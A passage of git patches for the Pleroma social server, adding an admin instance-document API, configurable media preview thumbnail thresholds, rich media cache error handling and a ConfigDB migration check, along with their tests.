patch("/instance_document/:name", InstanceDocumentController, :update) + delete("/instance_document/:name", InstanceDocumentController, :delete) + patch("/users/confirm_email", AdminAPIController, :confirm_email) patch("/users/resend_confirmation_email", AdminAPIController, :resend_confirmation_email) diff --git a/test/fixtures/custom_instance_panel.html b/test/fixtures/custom_instance_panel.html new file mode 100644 index 000000000..6371a1e43 --- /dev/null +++ b/test/fixtures/custom_instance_panel.html @@ -0,0 +1 @@ +

Custom instance panel

\ No newline at end of file diff --git a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs new file mode 100644 index 000000000..60dcc9dff --- /dev/null +++ b/test/web/admin_api/controllers/instance_document_controller_test.exs @@ -0,0 +1,112 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do + use Pleroma.Web.ConnCase, async: true + import Pleroma.Factory + alias Pleroma.Config + + @dir "test/tmp/instance_static" + @default_instance_panel ~s(

Welcome to Pleroma!

) + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/instance_document/:name" do + test "return the instance document url", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") + + assert %{"url" => url} = json_response_and_validate_schema(conn, 200) + index = get(build_conn(), url) + response = html_response(index, 200) + assert String.contains?(response, @default_instance_panel) + end + + test "it returns 403 if requested by a non-admin" do + non_admin_user = insert(:user) + token = insert(:oauth_token, user: non_admin_user) + + conn = + build_conn() + |> assign(:user, non_admin_user) + |> assign(:token, token) + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert json_response(conn, :forbidden) + end + + test "it returns 404 if the instance document with the given name doesn't exist", %{ + conn: conn + } do + conn = get(conn, "/api/pleroma/admin/instance_document/1234") + + assert json_response_and_validate_schema(conn, 404) + end + end + + describe "PATCH /api/pleroma/admin/instance_document/:name" do + test "uploads the instance document", %{conn: conn} do + image = %Plug.Upload{ + content_type: "text/html", + path: Path.absname("test/fixtures/custom_instance_panel.html"), + filename: "custom_instance_panel.html" + } + + conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ + "file" => image + }) + + assert %{"url" => url} = json_response_and_validate_schema(conn, 200) + index = get(build_conn(), url) + assert html_response(index, 200) == "

Custom instance panel

" + end + end + + describe "DELETE /api/pleroma/admin/instance_document/:name" do + test "deletes the instance document", %{conn: conn} do + File.mkdir!(@dir <> "/instance/") + File.write!(@dir <> "/instance/panel.html", "Custom instance panel") + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert %{"url" => url} = json_response_and_validate_schema(conn_resp, 200) + index = get(build_conn(), url) + assert html_response(index, 200) == "Custom instance panel" + + conn + |> delete("/api/pleroma/admin/instance_document/instance-panel") + |> json_response_and_validate_schema(200) + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert %{"url" => url} = json_response_and_validate_schema(conn_resp, 200) + index = get(build_conn(), url) + response = html_response(index, 200) + assert String.contains?(response, @default_instance_panel) + end + end +end -- cgit v1.2.3 From f58262c673616661baf9750c216a07d239ae99c3 Mon Sep 17 00:00:00 2001 From: stwf Date: Thu, 17 Sep 2020 09:48:17 -0400 Subject: add description to changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 75357f05e..a7a4f08ae 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. - Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. +- The `discoverable` field in the `User` struct will now add a NOINDEX metatag to profile pages when false. ### Removed -- cgit v1.2.3 From c711a2b15761db9d2d30035e9fee0783f0bf77b0 Mon Sep 17 00:00:00 2001 From: eugenijm Date: Thu, 17 Sep 2020 16:54:38 +0300 Subject: Return the file content for `GET /api/pleroma/admin/instance_document/:document_name` --- docs/API/admin_api.md | 12 ++++++------ .../controllers/instance_document_controller.ex | 8 ++++++-- .../operations/admin/instance_document_operation.ex | 9 ++++++++- lib/pleroma/web/instance_document.ex | 2 +- .../controllers/instance_document_controller_test.exs | 16 +++++----------- 5 files changed, 26 insertions(+), 21 deletions(-) diff --git a/docs/API/admin_api.md b/docs/API/admin_api.md index eba92dd1f..7992db58f 100644 --- a/docs/API/admin_api.md +++ b/docs/API/admin_api.md @@ -1458,23 +1458,23 @@ Loads json generated from `config/descriptions.exs`. ## `GET /api/pleroma/admin/instance_document/:document_name` -### Gets an instance document +### Get an instance document - Authentication: required - Response: -``` json -{ - "url": "https://example.com/instance/panel.html" -} +Returns the content of the document + +```html +

Instance panel

``` ## `PATCH /api/pleroma/admin/instance_document/:document_name` - Params: - `file` (the file to be uploaded, using multipart form data.) -### Updates an instance document +### Update an instance document - Authentication: required diff --git a/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex b/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex index 2144e44ac..504d9b517 100644 --- a/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex @@ -5,6 +5,7 @@ defmodule Pleroma.Web.AdminAPI.InstanceDocumentController do use Pleroma.Web, :controller + alias Pleroma.Plugs.InstanceStatic alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.Web.InstanceDocument @@ -18,8 +19,11 @@ defmodule Pleroma.Web.AdminAPI.InstanceDocumentController do plug(OAuthScopesPlug, %{scopes: ["write"], admin: true} when action in [:update, :delete]) def show(conn, %{name: document_name}) do - with {:ok, url} <- InstanceDocument.get(document_name) do - json(conn, %{"url" => url}) + with {:ok, url} <- InstanceDocument.get(document_name), + {:ok, content} <- File.read(InstanceStatic.file_path(url)) do + conn + |> put_resp_content_type("text/html") + |> send_resp(200, content) end end diff --git a/lib/pleroma/web/api_spec/operations/admin/instance_document_operation.ex b/lib/pleroma/web/api_spec/operations/admin/instance_document_operation.ex index e0eb993fb..a120ff4e8 100644 --- a/lib/pleroma/web/api_spec/operations/admin/instance_document_operation.ex +++ b/lib/pleroma/web/api_spec/operations/admin/instance_document_operation.ex @@ -26,7 +26,7 @@ def show_operation do | Helpers.admin_api_params() ], responses: %{ - 200 => Operation.response("InstanceDocument", "application/json", instance_document()), + 200 => document_content(), 400 => Operation.response("Bad Request", "application/json", ApiError), 403 => Operation.response("Forbidden", "application/json", ApiError), 404 => Operation.response("Not Found", "application/json", ApiError) @@ -105,4 +105,11 @@ defp instance_document do } } end + + defp document_content do + Operation.response("InstanceDocumentContent", "text/html", %Schema{ + type: :string, + example: "

Instance panel

" + }) + end end diff --git a/lib/pleroma/web/instance_document.ex b/lib/pleroma/web/instance_document.ex index 969a44e41..df5caebf0 100644 --- a/lib/pleroma/web/instance_document.ex +++ b/lib/pleroma/web/instance_document.ex @@ -14,7 +14,7 @@ defmodule Pleroma.Web.InstanceDocument do @spec get(String.t()) :: {:ok, String.t()} | {:error, atom()} def get(document_name) do case Map.fetch(@instance_documents, document_name) do - {:ok, path} -> {:ok, Path.join(Endpoint.url(), path)} + {:ok, path} -> {:ok, path} _ -> {:error, :not_found} end end diff --git a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs index 60dcc9dff..5f7b042f6 100644 --- a/test/web/admin_api/controllers/instance_document_controller_test.exs +++ b/test/web/admin_api/controllers/instance_document_controller_test.exs @@ -33,10 +33,8 @@ defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do test "return the instance document url", %{conn: conn} do conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") - assert %{"url" => url} = json_response_and_validate_schema(conn, 200) - index = get(build_conn(), url) - response = html_response(index, 200) - assert String.contains?(response, @default_instance_panel) + assert content = html_response(conn, 200) + assert String.contains?(content, @default_instance_panel) end test "it returns 403 if requested by a non-admin" do @@ -91,9 +89,7 @@ test "deletes the instance document", %{conn: conn} do conn |> get("/api/pleroma/admin/instance_document/instance-panel") - assert %{"url" => url} = json_response_and_validate_schema(conn_resp, 200) - index = get(build_conn(), url) - assert html_response(index, 200) == "Custom instance panel" + assert html_response(conn_resp, 200) == "Custom instance panel" conn |> delete("/api/pleroma/admin/instance_document/instance-panel") @@ -103,10 +99,8 @@ test "deletes the instance document", %{conn: conn} do conn |> get("/api/pleroma/admin/instance_document/instance-panel") - assert %{"url" => url} = json_response_and_validate_schema(conn_resp, 200) - index = get(build_conn(), url) - response = html_response(index, 200) - assert String.contains?(response, @default_instance_panel) + assert content = html_response(conn_resp, 200) + assert String.contains?(content, @default_instance_panel) end end end -- cgit v1.2.3 From db80b9d630f9fc72ebc269cb24142501116c269a Mon Sep 17 00:00:00 2001 From: rinpatch Date: Thu, 17 Sep 2020 16:13:21 +0300 Subject: RichMedia: Fix log spam on failures and resetting TTL on cached errors --- lib/pleroma/web/rich_media/parser.ex | 73 ++++++++++++++++++++++++------------ 1 file changed, 49 insertions(+), 24 deletions(-) diff --git a/lib/pleroma/web/rich_media/parser.ex b/lib/pleroma/web/rich_media/parser.ex index 33f6f1fa1..c70d2fdba 100644 --- a/lib/pleroma/web/rich_media/parser.ex +++ b/lib/pleroma/web/rich_media/parser.ex @@ -20,36 +20,61 @@ def parse(url) do with {:ok, data} <- get_cached_or_parse(url), {:ok, _} <- set_ttl_based_on_image(data, url) do {:ok, data} - else - {:error, {:invalid_metadata, data}} = e -> - Logger.debug(fn -> "Incomplete or invalid metadata for #{url}: #{inspect(data)}" end) - e - - error -> - Logger.error(fn -> "Rich media error for #{url}: #{inspect(error)}" end) - error end end defp get_cached_or_parse(url) do - case Cachex.fetch!(:rich_media_cache, url, fn _ -> {:commit, parse_url(url)} end) do - {:ok, _data} = res -> - res - - {:error, :body_too_large} = e -> - e - - {:error, {:content_type, _}} = e -> - e - - # The TTL is not set for the errors above, since they are unlikely to change - # with time - {:error, _} = e -> - ttl = Pleroma.Config.get([:rich_media, :failure_backoff], 60_000) - Cachex.expire(:rich_media_cache, url, ttl) - e + case Cachex.fetch(:rich_media_cache, url, fn -> + case parse_url(url) do + {:ok, _} = res -> + {:commit, res} + + {:error, reason} = e -> + # Unfortunately we have to log errors here, instead of doing that + # along with ttl setting at the bottom. Otherwise we can get log spam + # if more than one process was waiting for the rich media card + # while it was generated. Ideally we would set ttl here as well, + # so we don't override it number_of_waiters_on_generation + # times, but one, obviously, can't set ttl for not-yet-created entry + # and Cachex doesn't support returning ttl from the fetch callback. + log_error(url, reason) + {:commit, e} + end + end) do + {action, res} when action in [:commit, :ok] -> + case res do + {:ok, _data} = res -> + res + + {:error, reason} = e -> + if action == :commit, do: set_error_ttl(url, reason) + e + end + + {:error, e} -> + {:error, {:cachex_error, e}} end end + + defp set_error_ttl(_url, :body_too_large), do: :ok + defp set_error_ttl(_url, {:content_type, _}), do: :ok + + # The TTL is not set for the errors above, since they are unlikely to change + # with time + + defp set_error_ttl(url, _reason) do + ttl = Pleroma.Config.get([:rich_media, :failure_backoff], 60_000) + Cachex.expire(:rich_media_cache, url, ttl) + :ok + end + + defp log_error(url, {:invalid_metadata, data}) do + Logger.debug(fn -> "Incomplete or invalid metadata for #{url}: #{inspect(data)}" end) + end + + defp log_error(url, reason) do + Logger.warn(fn -> "Rich media error for #{url}: #{inspect(reason)}" end) + end end @doc """ -- cgit v1.2.3 From 7cdbd91d83c02a79c22783ca489ef82e82b31a51 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 17 Sep 2020 17:13:40 +0300 Subject: [#2497] Configurability of :min_content_length (preview proxy). Refactoring, documentation, tests. --- config/config.exs | 3 +- config/description.exs | 12 +- docs/configuration/cheatsheet.md | 8 + lib/pleroma/helpers/media_helper.ex | 1 + .../web/media_proxy/media_proxy_controller.ex | 90 +++---- test/fixtures/image.gif | Bin 0 -> 1001718 bytes test/fixtures/image.png | Bin 0 -> 104426 bytes .../media_proxy/media_proxy_controller_test.exs | 278 +++++++++++++++++++-- 8 files changed, 329 insertions(+), 63 deletions(-) create mode 100755 test/fixtures/image.gif create mode 100755 test/fixtures/image.png diff --git a/config/config.exs b/config/config.exs index 2ca2236a9..98c31ef86 100644 --- a/config/config.exs +++ b/config/config.exs @@ -444,7 +444,8 @@ enabled: false, thumbnail_max_width: 600, thumbnail_max_height: 600, - image_quality: 85 + image_quality: 85, + min_content_length: 100 * 1024 config :pleroma, :chat, enabled: true diff --git a/config/description.exs b/config/description.exs index 79e3cc259..4a5d5f2ea 100644 --- a/config/description.exs +++ b/config/description.exs @@ -1961,17 +1961,25 @@ %{ key: :thumbnail_max_width, type: :integer, - description: "Max width of preview thumbnail." + description: + "Max width of preview thumbnail for images (video preview always has original dimensions)." }, %{ key: :thumbnail_max_height, type: :integer, - description: "Max height of preview thumbnail." + description: + "Max height of preview thumbnail for images (video preview always has original dimensions)." }, %{ key: :image_quality, type: :integer, description: "Quality of the output. Ranges from 0 (min quality) to 100 (max quality)." + }, + %{ + key: :min_content_length, + type: :integer, + description: + "Min content length to perform preview, in bytes. If greater than 0, media smaller in size will be served as is, without thumbnailing." } ] }, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 054b8fe43..d7c342383 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -314,6 +314,14 @@ This section describe PWA manifest instance-specific values. Currently this opti * `enabled`: Enables purge cache * `provider`: Which one of the [purge cache strategy](#purge-cache-strategy) to use. +## :media_preview_proxy + +* `enabled`: Enables proxying of remote media preview to the instance’s proxy. Requires enabled media proxy (`media_proxy/enabled`). +* `thumbnail_max_width`: Max width of preview thumbnail for images (video preview always has original dimensions). +* `thumbnail_max_height`: Max height of preview thumbnail for images (video preview always has original dimensions). +* `image_quality`: Quality of the output. Ranges from 0 (min quality) to 100 (max quality). +* `min_content_length`: Min content length to perform preview, in bytes. If greater than 0, media smaller in size will be served as is, without thumbnailing. + ### Purge cache strategy #### Pleroma.Web.MediaProxy.Invalidation.Script diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 9b7348ee2..b6f35a24b 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -58,6 +58,7 @@ defp prepare_image_resize_args(%{max_width: max_width, max_height: max_height} = defp prepare_image_resize_args(_), do: {:error, :missing_options} + # Note: video thumbnail is intentionally not resized (always has original dimensions) def video_framegrab(url) do with executable when is_binary(executable) <- System.find_executable("ffmpeg"), {:ok, env} <- HTTP.get(url, [], pool: :media), diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index fe279e964..90651ed9b 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -12,8 +12,6 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyController do alias Pleroma.Web.MediaProxy alias Plug.Conn - @min_content_length_for_preview 100 * 1024 - def remote(conn, %{"sig" => sig64, "url" => url64}) do with {_, true} <- {:enabled, MediaProxy.enabled?()}, {:ok, url} <- MediaProxy.decode_url(sig64, url64), @@ -37,7 +35,8 @@ def remote(conn, %{"sig" => sig64, "url" => url64}) do def preview(%Conn{} = conn, %{"sig" => sig64, "url" => url64}) do with {_, true} <- {:enabled, MediaProxy.preview_enabled?()}, - {:ok, url} <- MediaProxy.decode_url(sig64, url64) do + {:ok, url} <- MediaProxy.decode_url(sig64, url64), + :ok <- MediaProxy.verify_request_path_and_url(conn, url) do handle_preview(conn, url) else {:enabled, false} -> @@ -59,8 +58,25 @@ defp handle_preview(conn, url) do content_type = Tesla.get_header(head_response, "content-type") content_length = Tesla.get_header(head_response, "content-length") content_length = content_length && String.to_integer(content_length) + static = conn.params["static"] in ["true", true] + + cond do + static and content_type == "image/gif" -> + handle_jpeg_preview(conn, media_proxy_url) - handle_preview(content_type, content_length, conn, media_proxy_url) + static -> + drop_static_param_and_redirect(conn) + + content_type == "image/gif" -> + redirect(conn, external: media_proxy_url) + + min_content_length_for_preview() > 0 and content_length > 0 and + content_length < min_content_length_for_preview() -> + redirect(conn, external: media_proxy_url) + + true -> + handle_preview(content_type, conn, media_proxy_url) + end else # If HEAD failed, redirecting to media proxy URI doesn't make much sense; returning an error {_, %{status: status}} -> @@ -74,58 +90,27 @@ defp handle_preview(conn, url) do end end - defp handle_preview( - "image/gif" = _content_type, - _content_length, - %{params: %{"static" => static}} = conn, - media_proxy_url - ) - when static in ["true", true] do - handle_jpeg_preview(conn, media_proxy_url) - end - - defp handle_preview( - _content_type, - _content_length, - %{params: %{"static" => static}} = conn, - _media_proxy_url - ) - when static in ["true", true] do - uri_without_static_param = UriHelper.modify_uri_params(current_url(conn), %{}, ["static"]) - redirect(conn, external: uri_without_static_param) - end - - defp handle_preview("image/gif" = _content_type, _content_length, conn, media_proxy_url) do - redirect(conn, external: media_proxy_url) - end - - defp handle_preview("image/" <> _ = _content_type, content_length, conn, media_proxy_url) - when is_integer(content_length) and content_length > 0 and - content_length < @min_content_length_for_preview do - redirect(conn, external: media_proxy_url) - end - - defp handle_preview("image/png" <> _ = _content_type, _content_length, conn, media_proxy_url) do + defp handle_preview("image/png" <> _ = _content_type, conn, media_proxy_url) do handle_png_preview(conn, media_proxy_url) end - defp handle_preview("image/" <> _ = _content_type, _content_length, conn, media_proxy_url) do + defp handle_preview("image/" <> _ = _content_type, conn, media_proxy_url) do handle_jpeg_preview(conn, media_proxy_url) end - defp handle_preview("video/" <> _ = _content_type, _content_length, conn, media_proxy_url) do + defp handle_preview("video/" <> _ = _content_type, conn, media_proxy_url) do handle_video_preview(conn, media_proxy_url) end - defp handle_preview(_unsupported_content_type, _content_length, conn, media_proxy_url) do + defp handle_preview(_unsupported_content_type, conn, media_proxy_url) do fallback_on_preview_error(conn, media_proxy_url) end defp handle_png_preview(conn, media_proxy_url) do quality = Config.get!([:media_preview_proxy, :image_quality]) + {thumbnail_max_width, thumbnail_max_height} = thumbnail_max_dimensions() - with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(), - {:ok, thumbnail_binary} <- + with {:ok, thumbnail_binary} <- MediaHelper.image_resize( media_proxy_url, %{ @@ -146,9 +131,9 @@ defp handle_png_preview(conn, media_proxy_url) do defp handle_jpeg_preview(conn, media_proxy_url) do quality = Config.get!([:media_preview_proxy, :image_quality]) + {thumbnail_max_width, thumbnail_max_height} = thumbnail_max_dimensions() - with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(), - {:ok, thumbnail_binary} <- + with {:ok, thumbnail_binary} <- MediaHelper.image_resize( media_proxy_url, %{max_width: thumbnail_max_width, max_height: thumbnail_max_height, quality: quality} @@ -174,6 +159,15 @@ defp handle_video_preview(conn, media_proxy_url) do end end + defp drop_static_param_and_redirect(conn) do + uri_without_static_param = + conn + |> current_url() + |> UriHelper.modify_uri_params(%{}, ["static"]) + + redirect(conn, external: uri_without_static_param) + end + defp fallback_on_preview_error(conn, media_proxy_url) do redirect(conn, external: media_proxy_url) end @@ -189,7 +183,7 @@ defp put_preview_response_headers( end defp thumbnail_max_dimensions do - config = Config.get([:media_preview_proxy], []) + config = media_preview_proxy_config() thumbnail_max_width = Keyword.fetch!(config, :thumbnail_max_width) thumbnail_max_height = Keyword.fetch!(config, :thumbnail_max_height) @@ -197,6 +191,14 @@ defp thumbnail_max_dimensions do {thumbnail_max_width, thumbnail_max_height} end + defp min_content_length_for_preview do + Keyword.get(media_preview_proxy_config(), :min_content_length, 0) + end + + defp media_preview_proxy_config do + Config.get!([:media_preview_proxy]) + end + defp media_proxy_opts do Config.get([:media_proxy, :proxy_opts], []) end diff --git a/test/fixtures/image.gif b/test/fixtures/image.gif new file mode 100755 index 000000000..9df64778b Binary files /dev/null and b/test/fixtures/image.gif differ diff --git a/test/fixtures/image.png b/test/fixtures/image.png new file mode 100755 index 000000000..e999e8800 Binary files /dev/null and b/test/fixtures/image.png differ diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs index 0dd2fd10c..33e6873f7 100644 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ b/test/web/media_proxy/media_proxy_controller_test.exs @@ -14,27 +14,28 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do on_exit(fn -> Cachex.clear(:banned_urls_cache) end) end - test "it returns 404 when MediaProxy disabled", %{conn: conn} do - clear_config([:media_proxy, :enabled], false) - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/hhgfh/eeeee") - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/hhgfh/eeee/fff") - end - - describe "" do + describe "Media Proxy" do setup do clear_config([:media_proxy, :enabled], true) clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + [url: MediaProxy.encode_url("https://google.fn/test.png")] end + test "it returns 404 when disabled", %{conn: conn} do + clear_config([:media_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/hhgfh/eeee/fff") + end + test "it returns 403 for invalid signature", %{conn: conn, url: url} do Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") %{path: path} = URI.parse(url) @@ -55,7 +56,7 @@ test "it returns 403 for invalid signature", %{conn: conn, url: url} do } = get(conn, "/proxy/hhgfh/eeee/fff") end - test "redirects on valid url when filename is invalidated", %{conn: conn, url: url} do + test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do invalid_url = String.replace(url, "test.png", "test-file.png") response = get(conn, invalid_url) assert response.status == 302 @@ -78,4 +79,249 @@ test "it returns 404 when url is in banned_urls cache", %{conn: conn, url: url} end end end + + describe "Media Preview Proxy" do + setup do + clear_config([:media_proxy, :enabled], true) + clear_config([:media_preview_proxy, :enabled], true) + clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + + original_url = "https://google.fn/test.png" + + [ + url: MediaProxy.encode_preview_url(original_url), + media_proxy_url: MediaProxy.encode_url(original_url) + ] + end + + test "returns 404 when media proxy is disabled", %{conn: conn} do + clear_config([:media_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/fff") + end + + test "returns 404 when disabled", %{conn: conn} do + clear_config([:media_preview_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/fff") + end + + test "it returns 403 for invalid signature", %{conn: conn, url: url} do + Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") + %{path: path} = URI.parse(url) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, path) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/preview/hhgfh/eeee") + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/preview/hhgfh/eeee/fff") + end + + test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do + invalid_url = String.replace(url, "test.png", "test-file.png") + response = get(conn, invalid_url) + assert response.status == 302 + assert redirected_to(response) == url + end + + test "responds with 424 Failed Dependency if HEAD request to media proxy fails", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 500, body: ""} + end) + + response = get(conn, url) + assert response.status == 424 + assert response.resp_body == "Can't fetch HTTP headers (HTTP 500)." + end + + test "redirects to media proxy URI on unsupported content type", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "application/pdf"}]} + end) + + response = get(conn, url) + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "with `static=true` and GIF image preview requested, responds with JPEG image", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + # Setting a high :min_content_length to ensure this scenario is not affected by its logic + clear_config([:media_preview_proxy, :min_content_length], 1_000_000_000) + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{ + status: 200, + body: "", + headers: [{"content-type", "image/gif"}, {"content-length", "1001718"}] + } + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.gif")} + end) + + response = get(conn, url <> "?static=true") + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] + assert response.resp_body != "" + end + + test "with GIF image preview requested and no `static` param, redirects to media proxy URI", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/gif"}]} + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "with `static` param and non-GIF image preview requested, " <> + "redirects to media preview proxy URI without `static` param", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + end) + + response = get(conn, url <> "?static=true") + + assert response.status == 302 + assert redirected_to(response) == url + end + + test "with :min_content_length setting not matched by Content-Length header, " <> + "redirects to media proxy URI", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + clear_config([:media_preview_proxy, :min_content_length], 100_000) + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{ + status: 200, + body: "", + headers: [{"content-type", "image/gif"}, {"content-length", "5000"}] + } + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "thumbnails PNG images into PNG", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/png"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.png")} + end) + + response = get(conn, url) + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/png"] + assert response.resp_body != "" + end + + test "thumbnails JPEG images into JPEG", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.jpg")} + end) + + response = get(conn, url) + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] + assert response.resp_body != "" + end + + test "redirects to media proxy URI in case of thumbnailing error", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "error"} + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + end end -- cgit v1.2.3 From f7e40f7ef134a3030aa61114daa39810efb5889d Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 17 Sep 2020 09:32:50 -0500 Subject: Deny ConfigDB migration when deprecated settings found --- lib/mix/tasks/pleroma/config.ex | 10 +++++-- lib/pleroma/config/deprecation_warnings.ex | 43 ++++++++++++++++++++++++------ test/tasks/config_test.exs | 13 +++++++++ 3 files changed, 56 insertions(+), 10 deletions(-) diff --git a/lib/mix/tasks/pleroma/config.ex b/lib/mix/tasks/pleroma/config.ex index 904c5a74b..18f99318d 100644 --- a/lib/mix/tasks/pleroma/config.ex +++ b/lib/mix/tasks/pleroma/config.ex @@ -32,7 +32,8 @@ def run(["migrate_from_db" | options]) do @spec migrate_to_db(Path.t() | nil) :: any() def migrate_to_db(file_path \\ nil) do - if Pleroma.Config.get([:configurable_from_database]) do + with true <- Pleroma.Config.get([:configurable_from_database]), + :ok <- Pleroma.Config.DeprecationWarnings.warn() do config_file = if file_path do file_path @@ -46,7 +47,8 @@ def migrate_to_db(file_path \\ nil) do do_migrate_to_db(config_file) else - migration_error() + :error -> deprecation_error() + _ -> migration_error() end end @@ -120,6 +122,10 @@ defp migration_error do ) end + defp deprecation_error do + shell_error("Migration is not allowed until all deprecation warnings have been resolved.") + end + if Code.ensure_loaded?(Config.Reader) do defp config_header, do: "import Config\r\n\r\n" defp read_file(config_file), do: Config.Reader.read_imports!(config_file) diff --git a/lib/pleroma/config/deprecation_warnings.ex 